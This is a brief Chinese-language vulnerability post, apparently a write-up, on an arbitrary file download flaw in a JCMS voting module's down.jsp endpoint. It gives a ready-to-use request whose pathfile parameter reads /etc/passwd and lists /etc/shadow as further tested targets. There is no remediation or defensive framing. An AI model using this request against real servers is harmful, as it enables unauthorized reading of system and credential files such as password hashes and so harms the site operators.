权限没设置好,导致可以枚举文件名下载文件
```
/jcms/m_5_e/module/voting/down.jsp?filename=username&pathfile=/etc/passwd
```
pathfile就对着自己的linux输入就行了,这里测试了几个
```
/etc/shadow
```

```
/etc/shadow
```

暂无评论